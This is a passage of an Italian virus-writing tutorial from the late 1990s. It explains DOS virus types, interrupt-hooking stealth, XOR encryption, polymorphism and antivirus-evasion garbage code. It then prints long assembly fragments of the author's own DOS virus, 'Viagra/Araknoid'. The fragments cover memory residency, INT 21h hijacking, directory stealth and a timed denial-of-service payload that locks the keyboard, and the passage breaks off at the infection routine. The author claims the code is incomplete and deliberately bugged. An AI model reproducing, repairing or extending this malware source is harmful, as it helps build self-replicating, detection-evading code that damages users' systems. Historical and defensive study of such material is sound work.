400 utilizzabili percui un virus, prima di tutto, carichera' il suo corpo
principale in memoria e lo eseguira'. In pratica nel settore di BOOT non
c'e' il VIRUS ma il LOADER del VIRUS. Il VIRUS vero e proprio si occupera'
poi di ripistinare, in modo da seguire le regole 1 e 2, il vero boot
record e di eseguirlo. Ci sono varie tecniche che non ho voglia di
illustrarvi, semmai in un secondo momento.
(3.2) VIRUS NON BINARI
I Virus Non Binari (molti mi criticheranno ma non importa) sono quelle
cose che per replicarsi non devono essere, necessariamente, eseguite.
Una annotazione a parte per i virus "EXPLOIT": questo tipo di virus si
basa su errori di un particolare programma. Mi riferisco, in questo caso,
a Microsoft Outlook Express che i n una versione, in particolari
condizioni, eseguiva un file in ATTACH senza il permesso e/o la richiesta
dell'utente. Ovvio che un ipotetico file in ATTACH poteva infettare un
sistema semplicemente inviandolo tramite E-Mail. ;)
In generale i VIRUS NON BINARI sono quei virus non il linguaggio macchina.
(3.2.1) HOAX
Gli HOAX (Bufale) sono una nuova classe di virus apparsa su Internet e
diffusa grazie alla 'lameraggine' degli utenti. Ho gia detto che un virus,
per essere tale, deve replicare se stesso. Per questa proprieta'
fondamentale, un qualsiasi messaggio che riporti una dicitura del tipo:
SE INVII QUESTO MESSAGGIO AD ALTRE 5 PERSONE VINCERAI 1 MILIONE DI LIRE !
i piu' boccaloni invieranno subito, senz esitare, questo messaggio ad
altre 5 persone provocando una crescita del "virus" di ragione 5 ovvero:
START
|
+-----+-----+-----+-----+
| | | | |
+++++ +++++ +++++ +++++ +++++
||||| ||||| ||||| ||||| |||||
etc... quindi in 2 passaggi si hanno gia' 5*5 copie del messaggio creando
una vera e propria infezione ;). In 100 passaggi si hanno ben 5^100
messaggi causando uno SPAM di dimensioni enormi !
(3.2.2) MACRO VIRUS
I Macro Virus sono nati grazie ad una fatale caratteristica dei prodotti
Microsoft Office. Per velocizzare alcune operazioni frequenti e' possibile
creare delle Macro (chi programma sa' cosa sono) per velocizzare queste
operazioni. Nelle macro di MS Office e' possibile specificare di tutto:
apertura dei file, cancellazione, formattazione, etc..Una delle cose che
non permettono, per fortuna,e' la ripartizione del disco (ref. Melissa
Virus). Immaginatevi percui se invio ad un mio amico un documento .doc con
una macro (le macro sono dento i documenti !) con l'ordine di cancellare
tutto l'HD ! Fortunatamente i Macro Virus sono diffusi solo su sistemi
Microsoft, e piu' che virus sembrano vendette !!! ;)))
(3.2.3) EXPLOIT VIRUS
Come gia' accennato nell'introduzione, gli EXPLOIT virus sfruttano delle
particolari proprieta' dei Sistemi Operativi per diffondersi. Anche i
VERMI di Internet utilizzano questa caratteristica ma non sono virus
percui non ne parlo :). Il piu' famoso e' stato quello relativo ad Outlook
Express che, se inviavi un file infetto in ATTACH con un nuone piu' lungo
di 255 caratteri si provocava un Buffer Overflow con conseguente
esecuzione del codice del file in ATTACH.
[E-MAIL+ATTACH]->[OUTLOOK EXPRESS]->[BUFFER OVERFLOW & CRASH]->[ESEGUI
ATTACH]
Se ATTACH e' un virus appositamente progettato, ci ritroviamo con il
sistema infetto.
Non aggiungo altro all'argomento anche xche non sono molto ferrato sulla
questione.
(4) CARATTERISTICHE INTERESSANTI
In questo paragrafo parlero' di alcune caratteristiche interessanti dei
virus binari. Inaftti solo maneggiando il codice a livello macchina e'
possibile agire in modo cosi' profondo nel sistema.
(4.1) STEALTH
I virus stealth sono tra i piu' pericolosi. Analogamente all'F117
(Quell'aereo caccia-bombardiere stealth) i virus stealth sono "invisibili"
e cercano in ogni modo di coprirele proprie tracce. Per riuscirci
utilizzano delle caratteristiche base del sistema. Per esempio un virus
Dir Stealth (cheriesce a non far notare l'incremento di dimensione di un
file con il comando 'dir') si basa sul fatto che il COMMAND.COM,
all'arrivo di un 'dir' esegue un certo comnado sull'INT 21h (Interrupt 21h)
e ne visualizza la risposta. Il nostro virus, di conseguenza, cerchera' di
modificare la risposta. Ma come ?
Ecco uns asemplice rappresentazione dell atabella degli interrupt in un
sistema *sano*:
[DOS] -> [INT 01h] -> Routine Int 01h -> Ret
[INT 02h] -> Routine Int 02h -> Ret
[INT ...] -> Routine Int ... -> Ret
[INT 21h] -> Routine Int 21h -> Ret
N.B. 'Ret' significa "ritorno al chiamante, o al DOS".
ed adesso in un sistema inefftato da uno *pseudo* virus steath (e non
solo):
[DOS] -> [INT 01h] -> Routine Int 01h -> Ret
[INT 02h] -> Routine Int 02h -> Ret
[INT ...] -> Routine Int ... -> Ret
[INT 21h] -> Virus -> Routine Int 21h -> Virus -> Ret
Come vediamo il nostro virus *filtra* le chiamate in ingresso ed in
uscita. Se esso rileva una chiamata di 'dir' (poi entrero' nei
particolari) chiama l'INT 21h originale e ne attende la risposta, indi
modifica il risultato in modo che l'utente non noti nulla e ritorna al
chiamante. Il chiamante, ovviamente, non si accorge di nulla.
Per capire come funziona il modo di intercettazione delle chiamate di
Interrupt bisogna capire cosa sono gli Interrupt !
Ecco com'e' strutturata la tabella degli interrupt locata nella posizione
0000:0000 (Segmento 0 Offset 0) della memoria di sistema:
Offs | 4b | 4b |
-----+----+----+
0000 OffA SegA
0004 OffB SegB
0008 OffC SegC
...
In pratica chiamando l'INT 00 faccio una Call assoluta all'indirizzo
SegA:OffA. Con l'INT 01 a SegB:OffB e cosi' via. Per accedere ad un
elemento della tabella di interrupt basta scrivere queste righe:
xor ax,ax
mov es,ax ; ES = AX = 0
mov bx,word ptr es:[4*21h+0] ; OffSet
mov ax,word ptr es:[4*21h+2] ; Segmento
mov word ptr ds:[INT21h],bx ; Offset
mov word ptr ds:[INT21h[2]],ax ; Segmento
cli ; Disabilita INT
*** ADESSO METTO NEL VETTORE IL PUNTATORE ALLA NOSTRA ROUTINE:
mov word ptr es:[4*21h+0],offset newint21h ; OffSet della routine
mov word ptr es:[4*21h+2],ds ; Segmento della routine
sti ; Riabilita INT
Per semplicita' basta pensare che un Interrupt e' una Call ad una routine
particolare. Ecco una breve lista delle funzioni comuni dei primi
interrupt:
INT 00 - CPU-generated - DIVIDE ERROR
INT 01 - CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS
INT 02 - external hardware - NON-MASKABLE INTERRUPT
INT 03 - CPU-generated - BREAKPOINT
INT 04 - CPU-generated - INTO DETECTED OVERFLOW
INT 05 - PRINT SCREEN; CPU-generated (80186+) - BOUND RANGE EXCEEDED
INT 06 - CPU-generated (80286+) - INVALID OPCODE
INT 07 - CPU-generated (80286+) - PROCESSOR EXTENSION NOT AVAILABLE
INT 08 - IRQ0 - SYSTEM TIMER; CPU-generated (80286+)
INT 09 - IRQ1 - KEYBOARD DATA READY; CPU-generated (80286,80386)
INT 0A - IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+)
INT 0B - IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+)
INT 0C - IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+)
INT 0D - IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+)
INT 0E - IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+)
INT 0F - IRQ7 - PARALLEL PRINTER
INT 10 - VIDEO; CPU-generated (80286+)
INT 11 - BIOS - GET EQUIPMENT LIST; CPU-generated (80486+)
INT 12 - BIOS - GET MEMORY SIZE
INT 13 - DISK
INT 14 - SERIAL
INT 15 - CASSETTE
INT 16 - KEYBOARD
INT 17 - PRINTER
INT 18 - DISKLESS BOOT HOOK (START CASSETTE BASIC)
INT 19 - SYSTEM - BOOTSTRAP LOADER
INT 1A - TIME
INT 1B - KEYBOARD - CONTROL-BREAK HANDLER
INT 1C - TIME - SYSTEM TIMER TICK
INT 1D - SYSTEM DATA - VIDEO PARAMETER TABLES
INT 1E - SYSTEM DATA - DISKETTE PARAMETERS
INT 1F - SYSTEM DATA - 8x8 GRAPHICS FONT
INT 20 - DOS 1+ - TERMINATE PROGRAM
INT 21 - DOS 1+ - Function Calls
INT 22 - DOS 1+ - PROGRAM TERMINATION ADDRESS
INT 23 - DOS 1+ - CONTROL-C/CONTROL-BREAK HANDLER
INT 24 - DOS 1+ - CRITICAL ERROR HANDLER
INT 25 - DOS 1+ - ABSOLUTE DISK READ
INT 26 - DOS 1+ - ABSOLUTE DISK WRITE
INT 27 - DOS 1+ - TERMINATE AND STAY RESIDENT
INT 28 - DOS 2+ - DOS IDLE INTERRUPT
INT 29 - DOS 2+ - FAST CONSOLE OUTPUT
Naturalmente 'newint21h' e' un puntatore alla nostra routine, alla routine
del virus:
INT21H dd ?
newint21h proc far
Assume CS:CODE_SEG, DS:Nothing
cmp ah,4Bh ; Load and Execute ?
je load_execute
cmp ah,11h ; Find First Matching File (Dir Stealth)
je dir_stealth
cmp ah,12h ; Find Next Matching File (Dir Stealth)
je dir_stealth
cmp ax,4300h ; Get File Attributes
je load_execute
cmp ax,4301h ; Set File Attributes
je load_execute
cmp ah,3Dh ; Open File
je load_execute
cmp ah,4Eh ; Find First Matching File (Dir Stealth)
je newdir_stealth
cmp ah,4Fh ; Find First Matching File (Dir Stealth)
je newdir_stealth
jmp do_int_now
Ecco, per capire questa parte di codice e' opportuno addentrarsi ancora di
piu' nelle chiamate di sistema:
L'interrupt 21h *contiene* tutte le chiamate importanti del nostro MS-DOS.
Consultando le RalphBrown Interrupt List si vede che l'INT2h e' quello che
conta piu' funzioni di tutti gli altri Int. Analizziamole qualcuna:
AH | AL | Altri Dati | Funzione
---+----+------------------+----------
00 CS = PSP Segment Termina un programma
01 Ret Ritorna un carattere letto da console
02 DL = Char Stampa il carattere in DL nella console
0F DS:DX -> FCB Apre un file usando FCB
10 DS:DX -> FCB Chiude un file aperto con FCB
11 DS:DX -> FCB Cerca primo file usando FCB
12 DS:DX -> FCB Trova prossimo file usando FCB
13 DS:DX -> FCB Cancella file usando FCB
14 DS:DX -> FCB Sequential read from FCB
1A DS:DX -> DTA Set Disk Area Transfer address
25 XX DS:DX -> New Int Setta il vettore dell'INT XX con New Int
comunque ce ne sono veramente tante. Vale la pena cercare su Internet le
Ralph Brown Interrupt list e dargli uno sguardo: sono affascinanti.
Non e' scopo di questo documento insegnarvi a scrivere virusma di imparare
a conoscerli percui non mi addentrero' nei possibili utilizzi delle
chiamate ne sui dettagli tecnici. Spero che abbiate compreso cosa sono gli
Interrupt, come si usano e a cosa servono.
Comunque di funzioni "stealthabili" ce ne sono molte, dipende solo da cosa
modifica il vostro virus ! :)
Per concludere questo affascinante argomento eccovi un breve diagramma di
flusso di una procedura DIR STEALTH:
(INIZIO) --> <FIND FIRST ?> -Yes->[Chiama INT21h originale]--+
| | |
+-No--> <FIND NEXT ?> -Yes-+ <File Infetto ?>
| | |
(FINE)<---------------No-+ |
^--[Modifica risultati]<--Yes-+
Il diagramma non e' realizzato nel migliore dei modi: comunque sia la
procedura si riassume nel controllare se un file "chiamato a rapporto" e'
infetto, se SI modificarlo e poi restituire i dati.
(4.2) ENCRIPTION
Questa curiosa ed interessante caratteristica ha fatto si' che gli Anti
Virus avessero un "problemuccio" in piu'. Infatti con questa
carateristica, spesso, i 'Pattern Matching AV' fallivano. Questa tecnica
consiste di rendere un virus invisibile crittandone i contenuti.
Ovviamente deve rimanere inalterata quella parte di codice che permette la
successiva decrittazione e proprio questo gli rende facilmente
intercettabili. Tuttavia vale la pena vedere come funziona. Le tecniche
per la codifica/decodifica sono infinite, anche se per semplicita' e
velocita' (ricordate regole 3 e 4 ?) sono preferite quelle simmetrice con
lo XOR. Guardiamoci la tabella della verita' di una funzione XOR:
A | B | O
---+---+--- ___
0 0 0 A -\ \
1 0 1 | >-- O
0 1 1 B -/___/
1 1 0
Immaginiamoci questo dato: 00010010 da codificare con XOR con questa
chiave: 01100110
00010010 XOR
01100110
-----------
01110100
adesso proviamo a "codificare" il isultato (01110100) con la stessa chiave
(01100110):
01110100 XOR
01100110
---------
00010010
Magia ! ;) Come vedete il risultato e' assolutamente il dato originale
(00010010) ed ecco xche la funzione XOR e' chiamata simmetrica: con due
codifiche successive si ottiene il risutato iniziale.
Ecco che allora la routine di codifica/decodifica e' la stessa.
Ma in dettaglio come funziona un virus crittato ?
[INIZIO VIRUS]
start_enc:
[ROTUINES_VARIE_DEL_VIRUS]
end_enc:
[CRIPT_DECRIPT_ROUTINE]
noi crittiamo solo il codice tra start_enc e end_enc in quanto un codice
macchina crittato non e' piu' esegubile ! Ecco che allora , al monento
dell'esecuzione, dobbiamo prima richiamare la funzione
CRIPT_DECRIPT_ROUTINE per rendere il virus esegubile. Il problema sta' nel
fatto che la CRIPT_DECRIPT_ROUTINE non e' codificabile e quindi rilevabile
dagli antivirus.
Ecco la procedura di codifica/decodifica:
; Enc-Decryption Routine
lea si,(Key + bp)
mov bx,ds:[si] ; BX = Key
lea si,(encrypt_start + bp) ; SI = Start of encrypted part
mov cx,((offset encrypt_end - offset encrypt_start)/2)+1 ; CX Size
dec_loop:
mov ax,word ptr ds:[si] ; 16-Bit simple XOR encryption
xor ah,bl
xor al,bh
mov word ptr ds:[si],ax
inc si
inc si
loop dec_loop
Avremo percui su DISCO il virus in questa forma:
[INIZIO]
[CODICE VIRUS CRITATTO]
[ROUTINE EN-DEC]
e in memoria (in esecuzione) questa:
[INIZIO]
[CODICE VIRUS IN CHIARO]
[ROUTINE EN_DEC]
Esiste anche una semplice tecnica,chaiamta Polymophic Encryption, che
permette di cambiare chiave ad ogni generazione del virus. La chiave,
ovviamente, dovra' essere memorizzata all'interno del suo corpo. Comunque
il principio di funzionamento e' lo stesso.
(4.3) POLIMORFICI
Questa categoria e' spesso insieme alla precedente. I virus puramente
Polimorfici sono rari e comunque il polimorfismo non e' alla portata di
tutti: costruire un motore polimorfico (cosi' si chiama quel pezzo di
codiche che "polimorfizza" il virus) e' molto difficile. Come funziona in
dettaglio un virus polimorfico ? Bene, prima di tutto pensiamo a quanti
metodi ci sono per fare una cosa.
Esempio: per mettere 0 in AX quanti modi ci sono ? Proviamo...
1) MOV AX,0
2) XOR AX,AX
3) SUB AX,AX
4) MOV BX,0 MOV AX,BX
...
diciamo pure *infiniti* :) Ed e' su questo che si basa un virus
polimorfico. In pratica se in un virus incontra l'istruzione MOV AX,0 esso
la sostituisce, a caso, con un suo simile. Cosi' un codice:
mov ax,0
puo' diventare:
xor ax,ax
oppure:
push bx
mov bx,0
mov ax,bx
pop bx
e in tutti questi casi il codice macchina corrispondente e' diverso cosa
x cui gli AntiVirus non ci capiscono piu' nulla ;).
Uno dei piu' famosi motori polimorfici e' l' Mta (Mutation Engine) scritto
da Dark Avenger, un mitico virus-writer bulgaro.
(4.4) ANTI A.V.
Questa categoria di trucchi e'molto divertente da applicare.Lo scopo
principale e' fare in modo che l'AntiVirus non riconosca che quel codice
e' un virus ;). I metodi per farlo sono molti e si basano essenzialmente
su alcune "pecche" degli AV. Sulla rivista specializzata VLAD ci sono
moltissime tecniche ben descrite.
Eccovi un esempio di come "tentare" utilizzando delle Garbage Instruction
(istruzioni spazzatura):
get_offs:
pop bp
inc ax ; << Garbage Instruction (confuse AV)
sub bp,offset get_offs ; In BP offset
; Check if encrypt
mov si,ds:[34h] ; << Garbage Instruction (confuse AV)
lea si,(encrypt_start + bp)
xchg di,si ; << Garbage Instruction (confuse AV)
xchg di,si ; << Garbage Instruction (confuse AV)
cmp byte ptr cs:[si],90h ; Encrypted ?
je encrypt_start ; Seems to be not :D
; Decryption Routine
lea si,(Key + bp)
add si,2 ; << Garbage Instruction (confuse AV)
xchg bx,si ; << Garbage Instruction (confuse AV)
dec bx ; << Garbage Instruction (confuse AV)
xchg bx,si ; << Garbage Instruction (confuse AV)
mov bx,ds:[si] ; BX = Key
lea si,(encrypt_start + bp) ; SI = Start of encrypted part
mov cx,((offset encrypt_end - offset encrypt_start)/2)+1 ; CX Size
dec_loop:
mov ax,word ptr ds:[si] ; 16-Bit simple XOR encryption
int 03h ; << Garbage Instruction (confuse AV)
xor ah,bl
int 03h ; << Garbage Instruction (confuse AV)
xor al,bh
mov word ptr ds:[si],ax
inc si
int 03h ; << Garbage Instruction (confuse AV)
inc si
loop dec_loop
Le righe commentate con "Garbage Instruction..." si riferiscono ad
istruzioni *dummy* che rendono insensato (o,perlomeno, ci provano !) il
codice confondendo l'AntiVirus. Con questa metodologia si va' contro la
regola 4 ma bisogna cercare di trovare un buon compromesso tra difese e
offese.
(5) LEGISLAZIONE ITALIANA IN MATERIA DI VIRUS
(Grazie a Ferry Byte per le seguenti informazioni)
Carlo Sarzana di S. Ippolito, presidente aggiunto della sezione Gip del
Tribunale di Roma, nella sua relazione presentata al convegno sulla
criminalita' informatica tenutosi a Milano il 26 maggio 1994 rispetto alla
legge Conso (l. n. 547/93 pubblicata in Gazzetta Ufficiale n. 305
30.12.93) sui reati informatici osservava che:
1) con riguardo all'art. 615 ter., che punisce l'accesso abusivo a u
sistema informatico o telematico, la tutela e' limitata ai sistemi
informatici o telematici protetti da misure di sicurezza perche',
dovendosi tutelare il diritto di un soggetto specifico, e' necessario
che quest'ultimo abbia dimostrato, con la predisposizione di mezzi di
protezione sia logica che fisica, di voler espressamente riservare
l'accesso e la permanenza nel sistema alle sole persone da lui
autorizzate;
2) in riferimento all'art. 615 quater che punisce l'abusiva acquisizione e
diffusione di codici di accesso a sistemi informatici o telematici,
viene definito che, per la configurabilita' del delitto, e' richiesto il
dolo specifico, consistente nel fine di procurare un profitto a se' o ad
altri o di arrecare ad altri un danno;
3) a proposito dei virus (articolo 615-quinques) non commette reato colui
che per ragioni di studio o predisposizione di sistemi di prevenzione,
raccolga e/o custodisce programmi virus.
Art. 615-quinquies - (Diffusione di programmi diretti a danneggiare o
interrompere un sistema informatico). - Chiunque diffonde, comunica o
consegna un programma informatico da lui stesso o da altri redatto, avente
per scopo o per effetto il danneggiamento di un sistema informatico o
telematico, dei dati o dei programmi in esso contenuti o ad essi
pertinenti, ovvero l'interruzione, totale o parziale, o l'alterazione del
suo funzionamento, e' punito con la reclusione sino a due anni e con la
multa sino a lire venti milioni".
Come vedete la legislazione in materia e' piuttosto vaga ed imprecisa,
sarebbe punibile anche la Microsoft per il "DEL" e il "DELTREE" ;))
Del resto conviene non rischiare: la costituzione dice che la legge e'
uguale per tutti, ma e' proprio cosi' ?
BREVE INTERLUDIO
Adesso la parte "teorica" (se cosi' si puo' definire) e' finita. Segue
l'analisi di un vero virus informatico. Traetene spunto per verificare le
nozioni acquisite. Ricordate sempre: un vero virus-writer non compie mai
danni sul sistema altrui. Questo e' un invito esplicito a non scrivere
virus pericolosi o distruttivi. Coscenza vostra. :)
(6) DOPO LA TEORIA...LA PRATICA !
Ecco un esempio di virus. Si chiama VIAGRA ed e' la mia ultima creazione.
Si lo so' che e' vecchiotto ma e' da un bel po' che non scrivo virus per il
semplice motivo che non uso piu' l'MS-DOS ma solo Linux ;). W Linux !
ATTENZIONE !!! Questi sono solo pezzi del programma originale. Non possono
essere compilati e non sono,quindi, illegali. Essi non possono arrecare
alcun danno. Inoltre il sorgente contiene alcuni errori volutamente
aggiunti per evitare qualsiasi compilazione. Solamente una persona
esperta e motivata puo' essere in grado di assemblare un virus
funzionante.
Diffido chiunque dall'usare questo testo per scopi non educativi.
Nel caso in cui venga compilato ed eseguito non mi riterro' in alcun modo
responsabile per i danni che esso vi causera'. SOLO PER SCOPI DIDATTICI.
[ HEADER DEL VIRUS, INFORMAZIONI VARIE]
; Araknoid virus v0.1 (Viagra Virus)
;
; Written by D.N.A ! 15/12/1998
;
; * Virus Propriety
; þ Infect COM on:
; - Execute
; - Get Attributes
; - Set Attributes
; - Open
; þ Don't infect W*.COM (i.e. WIN.COM)
; þ Don't infect misnamed EXE (i.e. COMMAND.COM)
; þ Memory Invisible Resident
; þ Little Polimorphic Encryption
; þ Directory Stealth
; - Stealth using ah=11h/12h
; - Stealth using ah=4Eh/4Fh
; þ Garbage Instruction to confuse AV
;
; * Effect on Infected System
; þ When Infecting a file a 'V' flash on the top-right corner of screen
; þ RTM executables don't run (bug ?)
; þ On DoS a ball bounch over the screen and system is cut-of :)
;
; DoS
; Every Monday between 13:00 and 13:59 included, between October and December
; and a random number must be smaller than 3400h :)
; Keyboard disabled during operation.
; PC must be rebooted.
;
; * Defect
; þ Poor Anti-Debugging routines
; þ Simple and not-well optimized for "secure" reason
; þ Of course there is some bug ;)
;
; * Some Anti-Virus response
; þ F-Prot says that can be a variant of Int78 Virus
; þ NAV 5.0 recognize it as a New Virus
; þ TBAV can't recognize Viagra as a virus (Hehehe)
; þ SCAN from McAffee not mentioned ? Sorry...do u
; really think it's an AntiVirus ?
La prima cosa che devo fare e' conoscere la posizione del virus
all'interno del codice xche tutti i riferimenti ai dati sono assoluti.
Per sapere dove sono faccio una chiamata a CALL get_offs.
L'istruzione CALL pusha in memoria l'IP (per poi recuperarlo con un
eventuale RET). Io prelevo l'IP dallo stack, sotraggo la posizione
relativa del get_offs ed ottengo, in BP (in questo caso) l'offset ;).
start:
call get_offs
get_offs:
pop bp
sub bp,offset get_offs ; In BP offset
Adesso in BP ho l'offset per tutti i riferimenti ai DATI.
Il secondo pass e' controllare se il virus e' crittato. Per fare
cio' controllo un particolare dato:
; Check if encrypt
lea si,(encrypt_start + bp)
cmp byte ptr cs:[si],90h ; Encrypted ?
je encrypt_start ; Seems to be not :D
Se il corpo e' crittato e' necessario decrittarlo prima che venga
eseguito. La crittazione e' con un semplice XOR a chiave variabile.
Ogni copia del virus ha la sua chiave specifica (Key).
Se non e' crittato, tralascia questa fase.
; Decryption Routine
lea si,(Key + bp)
mov bx,ds:[si] ; BX = Key
lea si,(encrypt_start + bp) ; SI = Start of encrypted part
mov cx,((offset encrypt_end - offset encrypt_start)/2)+1
; CX Size of part to decrypt
dec_loop:
mov ax,word ptr ds:[si] ; 16-Bit simple XOR encryption
xor ah,bl
xor al,bh
mov word ptr ds:[si],ax
inc si
inc si
loop dec_loop
encrypt_start:
nop
Adesso devo controllare se il virus e' gia' in residente in memoria. Per
fare cio' utilizzo una particolare chiamata con determinati dati.
Se il virus e' gia' residente controlla se siamo per il DoS (Denial of
Service) ed esegui programma ospite (regole 1 e 2).
mov ax,'VI' ; Controlla se gia' residente
mov bx,'Id' ; Comando di Ident
int 21h
cmp ax,'OK' ; Si,e' residente
jmp install
Adesso controlla se DoS:
; Virus presente nel sistema
; Controlla se momento DoS
mov ah,2Ah ; Get System Date
int 21h
cmp dl,1 ; Monday ?
jne no_more_mem ; Nop...skip...
cmp dh,10 ; October or better ?
jb no_more_mem ; Nop...skip...
mov ah,2Ch ; Get System Time
int 21h
mov ch,13 ; Between 13:00 and 13:59 ?
jne no_more_mem ; Nop...skip...
in ax,40h ; Get Random Number
cmp ax,3400h ; Smaller than .... ?
ja no_more_mem ; Nop...skip...
; Yes ! DoS now !
Si, bisogna eseguire il DoS:
mov ax,'VI' ; Controlla se gia' residente
mov bx,'Do' ; Comando di DoS
int 21h
Se errore oppure gia' installato esegui programma ospite. La tecnica e'
semplice: rimetto a posto il JUMP iniziale e lo eseguo dall'inzio. Siccome
la modifica influenza solo il programma in memoria, il file su disco
rimane inalterato:
no_more_mem:
; Non ci sono speranze di installare, esegui file ospite.
cmp bp,0 ; Ospite presente ?
je no_guest ; Nop,esci.
; Copia JMP originale
lea si,(OrigJMP + bp)
mov di,0100h
mov cx,3 ; 3 Word = 6 Bytes
rep movsw ; Copia
push 0100h ; Alias jmp 0100h :)
ret
Adesso, siccome il virus non e'installato, devo installarlo in memoria.
Per fare cio'ci sono svariate tecniche: la piu' comune e' allocare un
blocco di memoria alta e marcarlo come di sistema,per essere invisibile ad
un eventuale 'mem':
install:
call mem_install
jmp no_more_mem ; Esci e/o esegui ospite
mem_install:
; ----< THIS code ripped from Dark Angel
mov ah,4Ah ; Allocate Memory
mov bx,0FFFFh ; Ridicolous Size
int 21h
jmp no_more_mem
mov ah,4Ah ; Alter Memory
sub bx,(offset end_virus - offset start + 15)/16+1 ; Subtract Virus size
int 21h
mov ah,48h ; Allocate Memory
mov bx,(offset end_virus - offset start + 15)/16 ; Virus size
int 21h
push ax ; Salva segmento
dec ax
mov es,ax ; ES = Segment of MCB
mov byte ptr es:[0],'Z' ; Last MCB
mov word ptr es:[1],0008h ; DOS Owner of this memory
pop es ; Riprendilo: ES=Segmento del virus
Adesso copia il codice del virus nell'area di memoria per lui allocata:
; Copia virus nella nuova area di memoria ES:DI
mov si,bp ; in SI offset
mov di,0100h
add si,di ; Aggiungi 100h :)
mov cx,((offset end_virus - offset start)/2)+1 ; Size in WORD del virus
rep movsw ; Copia !
push es
push ds
mov ax,es ; in DS segmento del virus
mov ds,ax ; DS = ES
xor ax,ax
mov es,ax ; ES = AX = 0
Ora devo reindirizzare le chiamate all'interrupt. Invece di usare le
opportune chiamate del MS-DOS preferisco agire al livello piu' basso
possibile, modificando direttamente la memoria:
mov bx,word ptr es:[4*21h+0] ; OffSet
mov ax,word ptr es:[4*21h+2] ; Segmento
mov word ptr ds:[INT21h],bx ; Offset
mov word ptr ds:[INT21h[2]],ax ; Segmento
cli ; Disabilita INT
mov word ptr es:[4*21h+0],offset newint21h ; OffSet
mov word ptr es:[4*21h+2],ds ; Segmento
sti ; Riabilita INT
pop ds
pop es
mov dx,cs
mov es,dx
ret
Se non c'e' un file ospite (xche magari e' il virus originale) esci
tranquillamente.
no_guest:
int 20h
nop
Questo e' il messaggio che il virus deve contenere per poterne
identificare il nome e l'autore. Naturalmente, una volta compilato ed
eseguito, il messaggio e' codificato ed invisibile ad occhio nudo.
Viagra db "[Viagra]",00h,"* Araknoid v0.1 * D.N.A.! ",13,10
db "Hey man, your computer need some Viagra !$"
encrypt_end:
ret
hlt
cli
Word che contiene la chiave di codifica/decodifica
Key dw 0
Questa e'la parte principale e piu' critica del virus. Questa parte di
codice si occupa di infettare e nascondere il virus. Fate attenzione ai
passaggi:
; -=> HANDLER Interrupt 21h
Questa variabile contiene l'offset dell'interrupt 21h originale.
INT21H dd ?
Questo primo pezzo serve per interpretare i comandi:
newint21h proc far
Assume CS:CODE_SEG, DS:Nothing
cmp ax,'VI' ; Virus Command ?
jne check_call
cmp bx,'Id' ; Ident ?
jne No_Id ; Nop
mov ax,'OK' ; Reply OK :)
No_Id:
cmp bx,'Do' ; DoS ?
jne End_Int ; Nop..exit Interrupt now !
jmp dos ; Yes DoS !
End_Int:
ret 2
Adesso si cerca di identificare la chiamata pervenuta (per la
documentazione relativa vi consiglio le Ralph Brown Interrupt List):
check_call:
cmp ah,4Bh ; Load and Execute ?
je load_execute
cmp ah,11h ; Find First Matching File (Dir Stealth)
je dir_stealth
cmp ah,12h ; Find Next Matching File (Dir Stealth)
je dir_stealth
cmp ax,4300h ; Get File Attributes
je load_execute
cmp ax,4301h ; Set File Attributes
je load_execute
cmp ah,3Dh ; Open File
je load_execute
cmp ah,4Eh ; Find First Matching File (Dir Stealth)
je newdir_stealth
cmp ah,4Fh ; Find First Matching File (Dir Stealth)
je newdir_stealth
jmp do_int_now
Questa e' la procedura di stealth. Il processo e'semplice: ogni volta che
si richiede la lista dei file/directory il virus sa' che ad ogni elemento
della lista corrisponde un potenziale file infetto. Il virus controlla se
e' infetto (Time mark: 62 secondi) e, se lo e', sottrae la dimensione del
virus alla dimensione totale del file cosi' la regola 1 e' soddisfatta e
l'utente poso attento non si accorge di nulla.
dir_stealth:
pushf ; INT 21h
call INT21H ; Esegui Chiamata DOS
; Now DS:DX point to a valid FCB into DTA
; To stealth i must modify FCB directly there :)
push ax
push bx
push cx
push dx
push es
cmp al,0FFh ; "No More Matching file"
je not_to_stealth
mov ah,2fh ; Get address to current DTA
pushf ; INT 21h
call INT21H ; Esegui Chiamata DOS
; Now in ES:BX there is DTA address
cmp word ptr es:[bx+08h],'OC' ; First chech if file is a COM
jne not_to_stealth
mov cx,word ptr es:[bx+16h] ; Check if infected (Sec set to 62)
and cx,1Fh ; Reset all unwanted bit :) AND 0000000000011111b
cmp cx,1Fh ; Marked ?
jne not_to_stealth ; Nopa,skip over
; Now subtract Virus Size to File Size
mov cx,word ptr es:[bx+1Ch] ; In CX file size
sub cx,(offset end_virus - offset start) ; Subtract it :)
mov word ptr es:[bx+1Ch],cx ; Replace over
; Finish !
not_to_stealth:
pop es
pop dx
pop cx
pop bx
pop ax
ret 2 ; Return home :)
Adesso cerca di infettare un file eseguito. Prima di infettare il virus
deve controllare se il file corriponde ai requisiti richiesti: essere un
vero COM e che il nome non inizi per 'W'.
load_execute:
push ax
push bx
push cx
push dx
push es
push ds
push di
push si
call InfectIfCom ; DS:DX nome del file
pop si
pop di
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
do_int_now:
pushf
call INT21H ; Chiama DOS originale
ret 2
Questa e' un'altra procedura stealth per le directory. Siccome ne esiste
una nuova ed una vecchia per sicurezza ho deciso di "stealtharle" tutte e
due :).
newdir_stealth:
pushf ; INT 21h
call INT21H ; Esegui Chiamata DOS
; Now DS:DX point to a valid FCB into DTA
; To stealth i must modify FCB directly there :)
jnc do_stealth ; All ok ?
ret 2
do_stealth:
pushf
push ax
push bx
push cx
push dx
push es
mov ah,2Fh ; Get address to current DTA
pushf ; INT 21h
call INT21H ; Esegui Chiamata DOS
; Now in ES:BX there is DTA address
mov cx,word ptr es:[bx+16h] ; Check if infected (Sec set to 62)
and cx,1Fh ; Reset all unwanted bit :) AND 0000000000011111b
cmp cx,1Fh ; Marked ?
jne newnot_to_stealth ; Nopa,skip over
; Now subtract Virus Size to File Size
mov cx,word ptr es:[bx+1Ah] ; In CX file size
sub cx,(offset end_virus - offset start) ; Subtract it :)
mov word ptr es:[bx+1Ah],cx ; Replace over
; Finish !
newnot_to_stealth:
pop es
pop dx
pop cx
pop bx
pop ax
popf
ret 2 ; Return home :)
newint21h endp
Ora infetta un file COM. Fare molta attenzione ai vari passaggi:
; Infect a COM
infect_com:
